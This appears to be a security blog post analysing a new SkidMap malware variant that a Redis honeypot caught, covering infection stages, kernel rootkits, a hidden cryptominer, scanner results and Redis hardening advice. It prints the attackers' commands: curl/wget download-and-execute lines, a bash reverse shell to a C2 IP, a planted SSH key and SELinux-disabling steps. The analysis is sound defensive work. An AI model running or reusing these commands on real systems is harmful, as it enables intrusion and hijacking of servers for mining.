Honeypot Recon: New Variant of SkidMap Targeting Redis

Intro

Since Redis is becoming increasingly popular around the world, we decided to investigate attacks on the Redis instance. We didn’t have to wait long for the first results of the Honeypot. The trap caught an activity about which the Western world does not hear too often while analyzing SkidMap. More importantly, this variant turned out to be a new, improved, dangerous variation of the malware. Its level of sophistication surprised us quite a bit.

Malware

While analyzing the latest logs of our honeypot located in central Europe, we found a rather interesting entry that repeated again less than two weeks later. Our western-located honeypot didn’t record such activity. SkidMap only targets open Redis instances (so-called ‘NO AUTH’). We haven’t observed brute-force attacks from the specific IP from which the primary attack originated.

Figure 00 – SkidMap design

Figure 00 is a simplified model of the malware.

During the analysis, we found that there are at least two important execution paths that have a strong impact on the infection process and thus influence their inclusion in the infected system. Accordingly, we will distinguish between the two main Linux variants that influenced the infection flow. The first variant is Debian/Ubuntu, the second is RedHat/CentOS.

The malicious nature of this malware is to adapt to the system on which it is executed. The most important thing for us was to reach down, reveal and describe crucial elements of the rogue application, and thus cut off - we hope - a large part of the earnings from this criminal activity.

Infection (Redis stage)

The attack starts with an attempt to login to the unsecured Redis instance and set up variables that contain cron tasks hidden under a base64 string. The name ‘HA’ may indicate the targeting of high availability clusters, the use of which is known in other Redis malware campaigns.

We recorded two identical records (Figure 01) from the same address within roughly two weeks.

Figure 01 – Redis HP log snippet

These are two tasks for cron:

• curl -fsSL hxxp://z[.]shavsl[.]com/b | sh
• wget hxxp://z[.]shavsl[.]com/b -qO – | sh

Cron runs a job every 10 minutes by alternating between ‘curl’ and ‘wget’ to download and execute the dropper script ‘b’.

The host enumeration revealed two other names for the same script, ‘c’ and ‘f’.

Infection (OS stage)

Figure 02 – Dropper script ‘b’

The main purpose of the script (Figure 02) is to download the binary executable file (ELF) 'gif' to the '/var/lib/' directory. A previous version of the malware used 'jpeg' instead of 'gif'. Can we expect ‘png’ or ‘bmp’ in the next iterations of this malware? The script then makes sure that the backdoor file is in the destination directory and that the md5sum matches the expected signature. If not, it removes the immutable flag (fs protection; the file cannot be modified) by 'chattr -ia -R /var/lib/gif' and then 'rm -rf /var/lib/gif' - making room for the correct file.

Picture of the Trojan – gif or jpeg?

The ‘gif’ binary is now active in the system. One of the first steps of the Trojan is to add the following ssh keys in standard locations: '/root/.ssh/authoried_keys' and '/root/.ssh/authoried_keys2'.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtNw4sDrVPO1dELkT5ag+Wa5ewywg

EGC6oQJ7ugP01cUJR+6UVnx6DipvZuqWFAkA9Zm7sJUrY6K430wFv82ZNWkbJO

jcf1lhl4++njRt1vxwmTheSecwlDvk5fRf6086rm2HmmdvvsUsvSaowbDD23WNXfI

3rAibluVhjNmqcFfLvB5DWO8E42zkq8jk1CWdM95D/mtDzCIrxbg/azBdfsXCU1h

P8JvjAgDCkelc7NIesmT6ibG4uqeNg2IWiX/M0YG8T9hWoOHJasTl+Ub+gU34Im

z21l9JJ66yQtD0GtgszFJBS4AelNSrVOjHEouR9Bx6AToB515nKJ7NEvGSz root@vps1

This step is performed for every Linux OS where the binary file is executed, leaving a backdoor for attackers.   

The next step is to check the status of SELinux, then disable it permanently:

/usr/sbin/sestatus

/usr/sbin/setenforce disabled

Making changes in: /etc/selinux/config

The next step is to make the Trojan permanent by making changes to the host OS as follows:

Figure 03 – Decompiled function responsible for malware persistence

The most interesting part is the highlighted line responsible for creating a reverse shell that will call back to the attackers’-controlled server (C2) every hour via TCP/8443 port:

echo 'bash -i >& /dev/tcp/69.30.221[.]154/8443 0>&1' >> /etc/cron.hourly/prelink

Figure 04 – Getting the Linux distribution information

‘/etc/*-release’ is the standard file format which contains basic Linux distribution information. For each Linux distribution a different action will be performed.

The analyzed ‘gif’ binary file is targeting the following Linux distributions: Alibaba, Anolis, openEuler, EulerOS, Steam, CentOS, RedHat, and Rock.

Figure 05 – RH/CentOS Linux-family supported by the Trojan 

Figure 06 – Other Linux distributions supported by the Trojan

As we will learn in a while, there will be more ‘gif’ varieties. It should be considered that the majority of popular Linux distributions are vulnerable to this attack.

For each Linux variant (i.e.: distribution + kernel version), the attackers prepared slightly different infection options by downloading one of three packages.

Figure 07 – One of the three filenames found in the decompiled Trojan binary

Figure 08 – Two other filenames found in the decompiled Trojan with highlighted decoding command

Each of the following three variants, 'gold', 'euler' and 'stream', comes in a different version. Enumeration revealed other packages as shown below.

• tar.gz, gold16.tar.gz, gold18.tar.gz, gold20.tar.gz
• tar.gz, stream9.tar.gz
• tar.gz, euler21.tar.gz, euler22.tar.gz

Such an approach can lead us to the assumption that the packages can easily be deployed. In other words, the malware can be easily adjusted and updated for other or newly released Linux distributions and their kernels (as will be seen later in the article).

Encrypted Packages – gold, stream, euler

This is where things start to get pretty curious. At this stage, running ‘gif’ downloads one of the three encoded packages to the ‘/usr/include/{new folder related to own name}/’ directory. Then, decodes accordingly and initiates executing shell scripts, installing kernel modules, followed by placing other executable binaries. It’ll then clean the logs after completing the process using shell script (Figure 11 clean.sh).

Figure 09 – Decryption method with the password ‘Xo@2089@md’

For the other attack associated with the ‘jpeg’ variant, the password is ‘go@1992@ld’. This password applies to 2 of 4 ‘gold*’ packages. The package ‘gold16.tar.gz’ remains encrypted as the password has not been found or cracked (yet).

Figure 10 – Directory listing of decrypted package ‘stream9.tar.gz’

This variant of SkidMap also has a different file layout. The file structure of the previous variant is shown in Figure 14.

Figure 11 – The ‘clear.sh’ script main commands

Looking at Figure 10, the ‘*.sh’ scripts are quite self-explanatory by name, and their job is to prepare OS for the rootkits (kernel modules and binaries). The script ‘clear.sh’ (Figure 11) together with the binary ‘bin/wtmp’ are responsible for wiping out logs and shows signs of activity in the host OS. 

It is typical that scripts clean log files of malicious activity and it is important to monitor for such anomalies (gaps in log timestamps) in the system, as these anomalies can indicate malicious activity.

Figure 12 – The ‘version.txt’ reveals exact supported versions

Other ‘version.txt’ files contain the following values: 0.0.6, 0.0.8.0, 0.0.8.3 – but without extended information of Linux distributions.

Figure 13 – The rootkit pre-installation script

The pre-installation script impacts many security components in the host operating system, such as privilege attributes, SELinux, auditd, and others. Some of these are closely tied to a specific Linux distribution.

The Old Guys - gold18, gold20

Figure 14 – Previous variant of SkidMap

This variant has a different file layout, and we’ll not do a deep dive into it in this article. Some information about it can be found on the Internet (mainly on Chinese sites) as previous and probably, still active variants.

An interesting fact here is that in the first discovered version of SkidMap, the package name contained the number 8 - as encountered in the current attacks. Today, the same old packages have changed the number to 18 and 20. This may prove an evolution of the malware.

The Bot

The ‘bot’ – ELF executable file was one of the most interesting moments of the analysis. It contains several degrees of nesting of other binary files.

Right after execution, the ‘bot’ downloads extra files. In the case of the Debian/Ubuntu variant, we observed connection to the official Canonical resources in order to download files required by the infection process.

Figure 15 - Downloading additional software from Canonicals’ source

Extraction of binary files required fixing malformed UPX headers. This is a known obfuscation method used by cybercriminals to slow down the analysis process. The binary file contained a few stages of extraction to finally reach the bottom – the last embedded file. One of the extracted files contained embedded kernel modules – two rootkits with different purposes.

Figure 16 – A list of embedded kernel modules of extracted binary

Figure 17 – Hidden LKM rootkits

Static analysis of the memory dump confirmed two hidden malicious modules – Figure 17 above.

Extracted Module – mcpuinfo.ko

The extracted module seems to be one of the most important components of the malware. Analysis has shown that the module has many advanced functions that strongly affect the host OS. Fortunately for us, compiling the kernel module requires a persistent name for some objects (mainly export function names for the linked application).

Figure 18 – Snippet list of the module features

The highlighted right side of the image tells us about the operation method of the 'fake_loading_proc_show' function, which hides the real system load by displaying - most certainly - common, unsuspecting values. It's not hard to guess that this is intended to hide the Miner activity.

Figure 19 – Loading initial sequence of the module

Figure 20 – List of embedded functions

Part of the listed functions are for local program use, while other parts are export functions. This means that the functions are available for malware components (external programs) to use.

Extracted Module – kmeminfo.ko

The task of this module is to monitor the network using Netfilter hooks. The ‘nf_register_net_hook function’ is used in the context of Netfilter, which is a framework provided by the Linux kernel that allows various networking-related operations (e.g., iptables strongly relies on Netfilter hooks). This allows the malicious module to analyze, modify, or drop network packets.

Figure 21 – Loading initial sequence of the module

Kernel Module – mzoneinfo.ko (?)

Signs of another possible module were found in one of the analyzed binaries, but no binary was found during analysis. Mzoneinfo.ko could have been used in previous attacks and most likely will be used in future attacks. Other components of the malware structure were not properly updated.

It is important to note that mzoneinfo.ko isn’t a part of any official kernel module.

Figure 22 – Suspicious kernel module name

The Miner - Debian/Ubuntu Linux Family Variant

The Miner binary is downloaded to ‘/tmp/.miner’ (other variant ‘.mimer’) and executed from there as several hidden processes. In each step, the MD5 checksum is verified to make sure the binary file is what the attacker expects it to be. We found many other MD5 sums hardcoded in the binaries in most of the analysis steps.

Figure 23 – Miner execution

Figure 24 – Hidden processes of the miner

These processes (Figure 24) are spawned right after a ‘gif’ (‘$PWD=/var/lib’) execution and are hidden from listing by the common system commands ps, pstree, top, etc.

The Miner – RedHat/CentOS Linux Family Variant

Another variant skips the step of downloading a separate miner binary file and uses the built-in miner from an extracted ‘gif’ binary file. In this case the ‘/tmp/.miner’ will not exist.

Figure 25 – Hidden processes of the Miner

Information presented in Figure 25 was found via static analysis of the OS memory dump. Additional dynamic analysis successfully confirmed our suspicions:

Figure 26 – Hidden processes of the Miner

It was interesting to note that the attackers - we believe - intentionally blocked the execution of a popular forensic tool that finds hidden processes, called ‘unhide’, causing an execution error. By keeping the tool in the memory before malware infection, the workaround became easy.

Figure 27 - Hidden processes of the miner

To hide malicious activity, make it much harder for scanners to discover, and perhaps, to make life harder for researchers, this malware variant was upgraded and persists in memory only with a spawn-execute-remove feature. Indeed, this was interesting.

Figure 28 – Hidden miner processes with source information (memory dump analysis)

Figure 28 proves that in the case of the RedHat/CentOS variant miners are delivered by encrypted packages, like in the case of the ‘gold8’. As opposed to variant Debian/Ubuntu, where, as we already know, the miner binary was downloaded by the ‘gif’ package to ‘/tmp/.miner’ and executed from there.

The Miner’s Networking

The analysis around the Miner itself was not our main goal, so the following communication problems (the reset [R.] flag) are not entirely clear. On the other hand, we do know that after an initial infection the miner was able to establish a connection to the mining pool after a while (Figure 31).

Figure 29 – Connection issues to the mining pool

Figure 30 – Connection issues to the mining pool

Figure 31 – Successful connection to the mining pool

Scanning Tools

Out of curiosity, we tested four popular antimalware/antivirus scanners available for Linux platform. All scanners were updated right before the scan. As a result, we got rather disturbing findings:

1. ClamAV – No Findings
2. Rkhunter – No Findings
3. Lynis – Some kernel hardening malicious indicators
4. Chkrootkit – Malicious LKM indicators

Figure 32 – Chkrootkit finding

Summary

Although previous analyses have been conducted on this malware, we didn’t take them into account so as not to be influenced by them. We analyzed the malware and managed to prove that we are dealing with a new, dangerous variant of this nastiness. At the beginning of the research, many puzzle pieces just didn't fit together, but during static and dynamic analysis, the most important pieces of the puzzle became clear.

The level of advancement of this malware is really high, and detecting it, especially in larger server infrastructures, can be very hard. When testing it on home computers, the only serious indicator that something was wrong was the excessive operation of fans, and in the case of laptops, the temperature of the case.

As shown in the Scanner tools section, it’s worth considering using several programs simultaneously to detect unwanted software, and not ignore messages (WARNING’s) at any stage. It's also worth reviewing logs to look for (as we've shown in this case) timestamp gaps. Another strong tool to catch such activity is the Host-Based Intrusion Detection System (HIDS) program to monitor changes throughout the OS.

And finally, what about Redis? Exploiting this flaw doesn’t look complex. And it’s true. Redis is vulnerable by design, and its place is not at the edge of the network. It was designed for a closed environment, and security features were added in later releases.

It’s a known security issue that an unprotected Redis instance can be manipulated to write arbitrary files, which can then be used for remote code execution. This attack is possible when Redis is left unprotected without a password and is accessible from the internet.

To mitigate this, Redis introduced a security feature called ‘protected mode’ from version 3.2.0 onwards. When Redis is executed with the default configuration (binding all the interfaces) and without any password in order to access it, it enters this special mode. However, it's important to note that protected mode is not a complete solution. It's still possible to disable protected mode or manually bind all the interfaces, leaving the Redis instance vulnerable. Therefore, it's always recommended to secure your Redis instances by setting a strong password and limiting network access to trusted clients only in a restricted network.

IoC’s